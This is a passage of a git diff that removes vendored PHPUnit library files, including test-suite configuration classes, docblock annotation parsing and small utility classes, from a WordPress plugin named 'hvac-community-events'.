PHPUnit\TextUI\XmlConfiguration; - -use PHPUnit\Util\VersionComparisonOperator; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class TestDirectory -{ - /** - * @var string - */ - private $path; - - /** - * @var string - */ - private $prefix; - - /** - * @var string - */ - private $suffix; - - /** - * @var string - */ - private $phpVersion; - - /** - * @var VersionComparisonOperator - */ - private $phpVersionOperator; - - public function __construct(string $path, string $prefix, string $suffix, string $phpVersion, VersionComparisonOperator $phpVersionOperator) - { - $this->path = $path; - $this->prefix = $prefix; - $this->suffix = $suffix; - $this->phpVersion = $phpVersion; - $this->phpVersionOperator = $phpVersionOperator; - } - - public function path(): string - { - return $this->path; - } - - public function prefix(): string - { - return $this->prefix; - } - - public function suffix(): string - { - return $this->suffix; - } - - public function phpVersion(): string - { - return $this->phpVersion; - } - - public function phpVersionOperator(): VersionComparisonOperator - { - return $this->phpVersionOperator; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollection.php deleted file mode 100644 index 5f581c21..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollection.php +++ /dev/null @@ -1,65 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use Countable; -use IteratorAggregate; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - * - * @template-implements IteratorAggregate - */ -final class TestDirectoryCollection implements Countable, IteratorAggregate -{ - /** - * @var TestDirectory[] - */ - private $directories; - - /** - * @param TestDirectory[] $directories - */ - public static function fromArray(array $directories): self - { - return new self(...$directories); - } - - private function __construct(TestDirectory ...$directories) - { - $this->directories = $directories; - } - - /** - * @return TestDirectory[] - */ - public function asArray(): array - { - return $this->directories; - } - - public function count(): int - { - return count($this->directories); - } - - public function getIterator(): TestDirectoryCollectionIterator - { - return new TestDirectoryCollectionIterator($this); - } - - public function isEmpty(): bool - { - return $this->count() === 0; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollectionIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollectionIterator.php deleted file mode 100644 index b2312a38..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollectionIterator.php +++ /dev/null @@ -1,68 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use function iterator_count; -use Countable; -use Iterator; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @template-implements Iterator - */ -final class TestDirectoryCollectionIterator implements Countable, Iterator -{ - /** - * @var TestDirectory[] - */ - private $directories; - - /** - * @var int - */ - private $position; - - public function __construct(TestDirectoryCollection $directories) - { - $this->directories = $directories->asArray(); - } - - public function count(): int - { - return iterator_count($this); - } - - public function rewind(): void - { - $this->position = 0; - } - - public function valid(): bool - { - return $this->position < count($this->directories); - } - - public function key(): int - { - return $this->position; - } - - public function current(): TestDirectory - { - return $this->directories[$this->position]; - } - - public function next(): void - { - $this->position++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFile.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFile.php deleted file mode 100644 index 21d1cf7b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFile.php +++ /dev/null @@ -1,57 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use PHPUnit\Util\VersionComparisonOperator; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class TestFile -{ - /** - * @var string - */ - private $path; - - /** - * @var string - */ - private $phpVersion; - - /** - * @var VersionComparisonOperator - */ - private $phpVersionOperator; - - public function __construct(string $path, string $phpVersion, VersionComparisonOperator $phpVersionOperator) - { - $this->path = $path; - $this->phpVersion = $phpVersion; - $this->phpVersionOperator = $phpVersionOperator; - } - - public function path(): string - { - return $this->path; - } - - public function phpVersion(): string - { - return $this->phpVersion; - } - - public function phpVersionOperator(): VersionComparisonOperator - { - return $this->phpVersionOperator; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollection.php deleted file mode 100644 index 27ba9bd2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollection.php +++ /dev/null @@ -1,65 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use Countable; -use IteratorAggregate; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - * - * @template-implements IteratorAggregate - */ -final class TestFileCollection implements Countable, IteratorAggregate -{ - /** - * @var TestFile[] - */ - private $files; - - /** - * @param TestFile[] $files - */ - public static function fromArray(array $files): self - { - return new self(...$files); - } - - private function __construct(TestFile ...$files) - { - $this->files = $files; - } - - /** - * @return TestFile[] - */ - public function asArray(): array - { - return $this->files; - } - - public function count(): int - { - return count($this->files); - } - - public function getIterator(): TestFileCollectionIterator - { - return new TestFileCollectionIterator($this); - } - - public function isEmpty(): bool - { - return $this->count() === 0; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollectionIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollectionIterator.php deleted file mode 100644 index 45a5f160..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollectionIterator.php +++ /dev/null @@ -1,68 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use function iterator_count; -use Countable; -use Iterator; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @template-implements Iterator - */ -final class TestFileCollectionIterator implements Countable, Iterator -{ - /** - * @var TestFile[] - */ - private $files; - - /** - * @var int - */ - private $position; - - public function __construct(TestFileCollection $files) - { - $this->files = $files->asArray(); - } - - public function count(): int - { - return iterator_count($this); - } - - public function rewind(): void - { - $this->position = 0; - } - - public function valid(): bool - { - return $this->position < count($this->files); - } - - public function key(): int - { - return $this->position; - } - - public function current(): TestFile - { - return $this->files[$this->position]; - } - - public function next(): void - { - $this->position++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuite.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuite.php deleted file mode 100644 index 035376cb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuite.php +++ /dev/null @@ -1,66 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class TestSuite -{ - /** - * @var string - */ - private $name; - - /** - * @var TestDirectoryCollection - */ - private $directories; - - /** - * @var TestFileCollection - */ - private $files; - - /** - * @var FileCollection - */ - private $exclude; - - public function __construct(string $name, TestDirectoryCollection $directories, TestFileCollection $files, FileCollection $exclude) - { - $this->name = $name; - $this->directories = $directories; - $this->files = $files; - $this->exclude = $exclude; - } - - public function name(): string - { - return $this->name; - } - - public function directories(): TestDirectoryCollection - { - return $this->directories; - } - - public function files(): TestFileCollection - { - return $this->files; - } - - public function exclude(): FileCollection - { - return $this->exclude; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollection.php deleted file mode 100644 index f632e519..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollection.php +++ /dev/null @@ -1,65 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use Countable; -use IteratorAggregate; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - * - * @template-implements IteratorAggregate - */ -final class TestSuiteCollection implements Countable, IteratorAggregate -{ - /** - * @var TestSuite[] - */ - private $testSuites; - - /** - * @param TestSuite[] $testSuites - */ - public static function fromArray(array $testSuites): self - { - return new self(...$testSuites); - } - - private function __construct(TestSuite ...$testSuites) - { - $this->testSuites = $testSuites; - } - - /** - * @return TestSuite[] - */ - public function asArray(): array - { - return $this->testSuites; - } - - public function count(): int - { - return count($this->testSuites); - } - - public function getIterator(): TestSuiteCollectionIterator - { - return new TestSuiteCollectionIterator($this); - } - - public function isEmpty(): bool - { - return $this->count() === 0; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollectionIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollectionIterator.php deleted file mode 100644 index 42d03db0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollectionIterator.php +++ /dev/null @@ -1,68 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use function iterator_count; -use Countable; -use Iterator; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @template-implements Iterator - */ -final class TestSuiteCollectionIterator implements Countable, Iterator -{ - /** - * @var TestSuite[] - */ - private $testSuites; - - /** - * @var int - */ - private $position; - - public function __construct(TestSuiteCollection $testSuites) - { - $this->testSuites = $testSuites->asArray(); - } - - public function count(): int - { - return iterator_count($this); - } - - public function rewind(): void - { - $this->position = 0; - } - - public function valid(): bool - { - return $this->position < count($this->testSuites); - } - - public function key(): int - { - return $this->position; - } - - public function current(): TestSuite - { - return $this->testSuites[$this->position]; - } - - public function next(): void - { - $this->position++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Annotation/DocBlock.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Annotation/DocBlock.php deleted file mode 100644 index 764bbbfb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Annotation/DocBlock.php +++ /dev/null @@ -1,546 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\Annotation; - -use const JSON_ERROR_NONE; -use const PREG_OFFSET_CAPTURE; -use function array_filter; -use function array_key_exists; -use function array_map; -use function array_merge; -use function array_pop; -use function array_slice; -use function array_values; -use function count; -use function explode; -use function file; -use function implode; -use function is_array; -use function is_int; -use function json_decode; -use function json_last_error; -use function json_last_error_msg; -use function preg_match; -use function preg_match_all; -use function preg_replace; -use function preg_split; -use function realpath; -use function rtrim; -use function sprintf; -use function str_replace; -use function strlen; -use function strpos; -use function strtolower; -use function substr; -use function trim; -use PharIo\Version\VersionConstraintParser; -use PHPUnit\Framework\InvalidDataProviderException; -use PHPUnit\Framework\SkippedTestError; -use PHPUnit\Framework\Warning; -use PHPUnit\Util\Exception; -use PHPUnit\Util\InvalidDataSetException; -use ReflectionClass; -use ReflectionException; -use ReflectionFunctionAbstract; -use ReflectionMethod; -use Reflector; -use Traversable; - -/** - * This is an abstraction around a PHPUnit-specific docBlock, - * allowing us to ask meaningful questions about a specific - * reflection symbol. - * - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class DocBlock -{ - /** - * @todo This constant should be private (it's public because of TestTest::testGetProvidedDataRegEx) - */ - public const REGEX_DATA_PROVIDER = '/@dataProvider\s+([a-zA-Z0-9._:-\\\\x7f-\xff]+)/'; - - private const REGEX_REQUIRES_VERSION = '/@requires\s+(?PPHP(?:Unit)?)\s+(?P[<>=!]{0,2})\s*(?P[\d\.-]+(dev|(RC|alpha|beta)[\d\.])?)[ \t]*\r?$/m'; - private const REGEX_REQUIRES_VERSION_CONSTRAINT = '/@requires\s+(?PPHP(?:Unit)?)\s+(?P[\d\t \-.|~^]+)[ \t]*\r?$/m'; - private const REGEX_REQUIRES_OS = '/@requires\s+(?POS(?:FAMILY)?)\s+(?P.+?)[ \t]*\r?$/m'; - private const REGEX_REQUIRES_SETTING = '/@requires\s+(?Psetting)\s+(?P([^ ]+?))\s*(?P[\w\.-]+[\w\.]?)?[ \t]*\r?$/m'; - private const REGEX_REQUIRES = '/@requires\s+(?Pfunction|extension)\s+(?P([^\s<>=!]+))\s*(?P[<>=!]{0,2})\s*(?P[\d\.-]+[\d\.]?)?[ \t]*\r?$/m'; - private const REGEX_TEST_WITH = '/@testWith\s+/'; - - /** @var string */ - private $docComment; - - /** @var bool */ - private $isMethod; - - /** @var array> pre-parsed annotations indexed by name and occurrence index */ - private $symbolAnnotations; - - /** - * @var null|array - * - * @psalm-var null|(array{ - * __OFFSET: array&array{__FILE: string}, - * setting?: array, - * extension_versions?: array - * }&array< - * string, - * string|array{version: string, operator: string}|array{constraint: string}|array - * >) - */ - private $parsedRequirements; - - /** @var int */ - private $startLine; - - /** @var int */ - private $endLine; - - /** @var string */ - private $fileName; - - /** @var string */ - private $name; - - /** - * @var string - * - * @psalm-var class-string - */ - private $className; - - public static function ofClass(ReflectionClass $class): self - { - $className = $class->getName(); - - return new self( - (string) $class->getDocComment(), - false, - self::extractAnnotationsFromReflector($class), - $class->getStartLine(), - $class->getEndLine(), - $class->getFileName(), - $className, - $className, - ); - } - - /** - * @psalm-param class-string $classNameInHierarchy - */ - public static function ofMethod(ReflectionMethod $method, string $classNameInHierarchy): self - { - return new self( - (string) $method->getDocComment(), - true, - self::extractAnnotationsFromReflector($method), - $method->getStartLine(), - $method->getEndLine(), - $method->getFileName(), - $method->getName(), - $classNameInHierarchy, - ); - } - - /** - * Note: we do not preserve an instance of the reflection object, since it cannot be safely (de-)serialized. - * - * @param array> $symbolAnnotations - * - * @psalm-param class-string $className - */ - private function __construct(string $docComment, bool $isMethod, array $symbolAnnotations, int $startLine, int $endLine, string $fileName, string $name, string $className) - { - $this->docComment = $docComment; - $this->isMethod = $isMethod; - $this->symbolAnnotations = $symbolAnnotations; - $this->startLine = $startLine; - $this->endLine = $endLine; - $this->fileName = $fileName; - $this->name = $name; - $this->className = $className; - } - - /** - * @psalm-return array{ - * __OFFSET: array&array{__FILE: string}, - * setting?: array, - * extension_versions?: array - * }&array< - * string, - * string|array{version: string, operator: string}|array{constraint: string}|array - * > - * - * @throws Warning if the requirements version constraint is not well-formed - */ - public function requirements(): array - { - if ($this->parsedRequirements !== null) { - return $this->parsedRequirements; - } - - $offset = $this->startLine; - $requires = []; - $recordedSettings = []; - $extensionVersions = []; - $recordedOffsets = [ - '__FILE' => realpath($this->fileName), - ]; - - // Trim docblock markers, split it into lines and rewind offset to start of docblock - $lines = preg_replace(['#^/\*{2}#', '#\*/$#'], '', preg_split('/\r\n|\r|\n/', $this->docComment)); - $offset -= count($lines); - - foreach ($lines as $line) { - if (preg_match(self::REGEX_REQUIRES_OS, $line, $matches)) { - $requires[$matches['name']] = $matches['value']; - $recordedOffsets[$matches['name']] = $offset; - } - - if (preg_match(self::REGEX_REQUIRES_VERSION, $line, $matches)) { - $requires[$matches['name']] = [ - 'version' => $matches['version'], - 'operator' => $matches['operator'], - ]; - $recordedOffsets[$matches['name']] = $offset; - } - - if (preg_match(self::REGEX_REQUIRES_VERSION_CONSTRAINT, $line, $matches)) { - if (!empty($requires[$matches['name']])) { - $offset++; - - continue; - } - - try { - $versionConstraintParser = new VersionConstraintParser; - - $requires[$matches['name'] . '_constraint'] = [ - 'constraint' => $versionConstraintParser->parse(trim($matches['constraint'])), - ]; - $recordedOffsets[$matches['name'] . '_constraint'] = $offset; - } catch (\PharIo\Version\Exception $e) { - throw new Warning($e->getMessage(), $e->getCode(), $e); - } - } - - if (preg_match(self::REGEX_REQUIRES_SETTING, $line, $matches)) { - $recordedSettings[$matches['setting']] = $matches['value']; - $recordedOffsets['__SETTING_' . $matches['setting']] = $offset; - } - - if (preg_match(self::REGEX_REQUIRES, $line, $matches)) { - $name = $matches['name'] . 's'; - - if (!isset($requires[$name])) { - $requires[$name] = []; - } - - $requires[$name][] = $matches['value']; - $recordedOffsets[$matches['name'] . '_' . $matches['value']] = $offset; - - if ($name === 'extensions' && !empty($matches['version'])) { - $extensionVersions[$matches['value']] = [ - 'version' => $matches['version'], - 'operator' => $matches['operator'], - ]; - } - } - - $offset++; - } - - return $this->parsedRequirements = array_merge( - $requires, - ['__OFFSET' => $recordedOffsets], - array_filter([ - 'setting' => $recordedSettings, - 'extension_versions' => $extensionVersions, - ]), - ); - } - - /** - * Returns the provided data for a method. - * - * @throws Exception - */ - public function getProvidedData(): ?array - { - /** @noinspection SuspiciousBinaryOperationInspection */ - $data = $this->getDataFromDataProviderAnnotation($this->docComment) ?? $this->getDataFromTestWithAnnotation($this->docComment); - - if ($data === null) { - return null; - } - - if ($data === []) { - throw new SkippedTestError; - } - - foreach ($data as $key => $value) { - if (!is_array($value)) { - throw new InvalidDataSetException( - sprintf( - 'Data set %s is invalid.', - is_int($key) ? '#' . $key : '"' . $key . '"', - ), - ); - } - } - - return $data; - } - - /** - * @psalm-return array - */ - public function getInlineAnnotations(): array - { - $code = file($this->fileName); - $lineNumber = $this->startLine; - $startLine = $this->startLine - 1; - $endLine = $this->endLine - 1; - $codeLines = array_slice($code, $startLine, $endLine - $startLine + 1); - $annotations = []; - - foreach ($codeLines as $line) { - if (preg_match('#/\*\*?\s*@(?P[A-Za-z_-]+)(?:[ \t]+(?P.*?))?[ \t]*\r?\*/$#m', $line, $matches)) { - $annotations[strtolower($matches['name'])] = [ - 'line' => $lineNumber, - 'value' => $matches['value'], - ]; - } - - $lineNumber++; - } - - return $annotations; - } - - public function symbolAnnotations(): array - { - return $this->symbolAnnotations; - } - - public function isHookToBeExecutedBeforeClass(): bool - { - return $this->isMethod && - false !== strpos($this->docComment, '@beforeClass'); - } - - public function isHookToBeExecutedAfterClass(): bool - { - return $this->isMethod && - false !== strpos($this->docComment, '@afterClass'); - } - - public function isToBeExecutedBeforeTest(): bool - { - return 1 === preg_match('/@before\b/', $this->docComment); - } - - public function isToBeExecutedAfterTest(): bool - { - return 1 === preg_match('/@after\b/', $this->docComment); - } - - public function isToBeExecutedAsPreCondition(): bool - { - return 1 === preg_match('/@preCondition\b/', $this->docComment); - } - - public function isToBeExecutedAsPostCondition(): bool - { - return 1 === preg_match('/@postCondition\b/', $this->docComment); - } - - private function getDataFromDataProviderAnnotation(string $docComment): ?array - { - $methodName = null; - $className = $this->className; - - if ($this->isMethod) { - $methodName = $this->name; - } - - if (!preg_match_all(self::REGEX_DATA_PROVIDER, $docComment, $matches)) { - return null; - } - - $result = []; - - foreach ($matches[1] as $match) { - $dataProviderMethodNameNamespace = explode('\\', $match); - $leaf = explode('::', array_pop($dataProviderMethodNameNamespace)); - $dataProviderMethodName = array_pop($leaf); - - if (empty($dataProviderMethodNameNamespace)) { - $dataProviderMethodNameNamespace = ''; - } else { - $dataProviderMethodNameNamespace = implode('\\', $dataProviderMethodNameNamespace) . '\\'; - } - - if (empty($leaf)) { - $dataProviderClassName = $className; - } else { - /** @psalm-var class-string $dataProviderClassName */ - $dataProviderClassName = $dataProviderMethodNameNamespace . array_pop($leaf); - } - - try { - $dataProviderClass = new ReflectionClass($dataProviderClassName); - - $dataProviderMethod = $dataProviderClass->getMethod( - $dataProviderMethodName, - ); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - // @codeCoverageIgnoreEnd - } - - if ($dataProviderMethod->isStatic()) { - $object = null; - } else { - $object = $dataProviderClass->newInstance(); - } - - if ($dataProviderMethod->getNumberOfParameters() === 0) { - $data = $dataProviderMethod->invoke($object); - } else { - $data = $dataProviderMethod->invoke($object, $methodName); - } - - if ($data instanceof Traversable) { - $origData = $data; - $data = []; - - foreach ($origData as $key => $value) { - if (is_int($key)) { - $data[] = $value; - } elseif (array_key_exists($key, $data)) { - throw new InvalidDataProviderException( - sprintf( - 'The key "%s" has already been defined in the data provider "%s".', - $key, - $match, - ), - ); - } else { - $data[$key] = $value; - } - } - } - - if (is_array($data)) { - $result = array_merge($result, $data); - } - } - - return $result; - } - - /** - * @throws Exception - */ - private function getDataFromTestWithAnnotation(string $docComment): ?array - { - $docComment = $this->cleanUpMultiLineAnnotation($docComment); - - if (!preg_match(self::REGEX_TEST_WITH, $docComment, $matches, PREG_OFFSET_CAPTURE)) { - return null; - } - - $offset = strlen($matches[0][0]) + $matches[0][1]; - $annotationContent = substr($docComment, $offset); - $data = []; - - foreach (explode("\n", $annotationContent) as $candidateRow) { - $candidateRow = trim($candidateRow); - - if ($candidateRow[0] !== '[') { - break; - } - - $dataSet = json_decode($candidateRow, true); - - if (json_last_error() !== JSON_ERROR_NONE) { - throw new Exception( - 'The data set for the @testWith annotation cannot be parsed: ' . json_last_error_msg(), - ); - } - - $data[] = $dataSet; - } - - if (!$data) { - throw new Exception('The data set for the @testWith annotation cannot be parsed.'); - } - - return $data; - } - - private function cleanUpMultiLineAnnotation(string $docComment): string - { - // removing initial ' * ' for docComment - $docComment = str_replace("\r\n", "\n", $docComment); - $docComment = preg_replace('/\n\s*\*\s?/', "\n", $docComment); - $docComment = (string) substr($docComment, 0, -1); - - return rtrim($docComment, "\n"); - } - - /** @return array> */ - private static function parseDocBlock(string $docBlock): array - { - // Strip away the docblock header and footer to ease parsing of one line annotations - $docBlock = (string) substr($docBlock, 3, -2); - $annotations = []; - - if (preg_match_all('/@(?P[A-Za-z_-]+)(?:[ \t]+(?P.*?))?[ \t]*\r?$/m', $docBlock, $matches)) { - $numMatches = count($matches[0]); - - for ($i = 0; $i < $numMatches; $i++) { - $annotations[$matches['name'][$i]][] = (string) $matches['value'][$i]; - } - } - - return $annotations; - } - - /** @param ReflectionClass|ReflectionFunctionAbstract $reflector */ - private static function extractAnnotationsFromReflector(Reflector $reflector): array - { - $annotations = []; - - if ($reflector instanceof ReflectionClass) { - $annotations = array_merge( - $annotations, - ...array_map( - static function (ReflectionClass $trait): array - { - return self::parseDocBlock((string) $trait->getDocComment()); - }, - array_values($reflector->getTraits()), - ), - ); - } - - return array_merge( - $annotations, - self::parseDocBlock((string) $reflector->getDocComment()), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Annotation/Registry.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Annotation/Registry.php deleted file mode 100644 index a34cb9ad..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Annotation/Registry.php +++ /dev/null @@ -1,95 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\Annotation; - -use function array_key_exists; -use PHPUnit\Util\Exception; -use ReflectionClass; -use ReflectionException; -use ReflectionMethod; - -/** - * Reflection information, and therefore DocBlock information, is static within - * a single PHP process. It is therefore okay to use a Singleton registry here. - * - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Registry -{ - /** @var null|self */ - private static $instance; - - /** @var array indexed by class name */ - private $classDocBlocks = []; - - /** @var array> indexed by class name and method name */ - private $methodDocBlocks = []; - - public static function getInstance(): self - { - return self::$instance ?? self::$instance = new self; - } - - private function __construct() - { - } - - /** - * @throws Exception - * - * @psalm-param class-string $class - */ - public function forClassName(string $class): DocBlock - { - if (array_key_exists($class, $this->classDocBlocks)) { - return $this->classDocBlocks[$class]; - } - - try { - $reflection = new ReflectionClass($class); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - return $this->classDocBlocks[$class] = DocBlock::ofClass($reflection); - } - - /** - * @throws Exception - * - * @psalm-param class-string $classInHierarchy - */ - public function forMethod(string $classInHierarchy, string $method): DocBlock - { - if (isset($this->methodDocBlocks[$classInHierarchy][$method])) { - return $this->methodDocBlocks[$classInHierarchy][$method]; - } - - try { - $reflection = new ReflectionMethod($classInHierarchy, $method); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - return $this->methodDocBlocks[$classInHierarchy][$method] = DocBlock::ofMethod($reflection, $classInHierarchy); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Blacklist.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Blacklist.php deleted file mode 100644 index 3b416e14..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Blacklist.php +++ /dev/null @@ -1,41 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -/** - * @deprecated Use ExcludeList instead - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class Blacklist -{ - public static function addDirectory(string $directory): void - { - ExcludeList::addDirectory($directory); - } - - /** - * @throws Exception - * - * @return string[] - */ - public function getBlacklistedDirectories(): array - { - return (new ExcludeList)->getExcludedDirectories(); - } - - /** - * @throws Exception - */ - public function isBlacklisted(string $file): bool - { - return (new ExcludeList)->isExcluded($file); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Cloner.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Cloner.php deleted file mode 100644 index 38bd59ff..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Cloner.php +++ /dev/null @@ -1,34 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Cloner -{ - /** - * @psalm-template OriginalType - * - * @psalm-param OriginalType $original - * - * @psalm-return OriginalType - */ - public static function clone(object $original): object - { - try { - return clone $original; - } catch (Throwable $t) { - return $original; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Color.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Color.php deleted file mode 100644 index ee0f412d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Color.php +++ /dev/null @@ -1,159 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use const DIRECTORY_SEPARATOR; -use function array_keys; -use function array_map; -use function array_values; -use function count; -use function explode; -use function implode; -use function min; -use function preg_replace; -use function preg_replace_callback; -use function sprintf; -use function strtr; -use function trim; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Color -{ - /** - * @var array - */ - private const WHITESPACE_MAP = [ - ' ' => '·', - "\t" => '⇥', - ]; - - /** - * @var array - */ - private const WHITESPACE_EOL_MAP = [ - ' ' => '·', - "\t" => '⇥', - "\n" => '↵', - "\r" => '⟵', - ]; - - /** - * @var array - */ - private static $ansiCodes = [ - 'reset' => '0', - 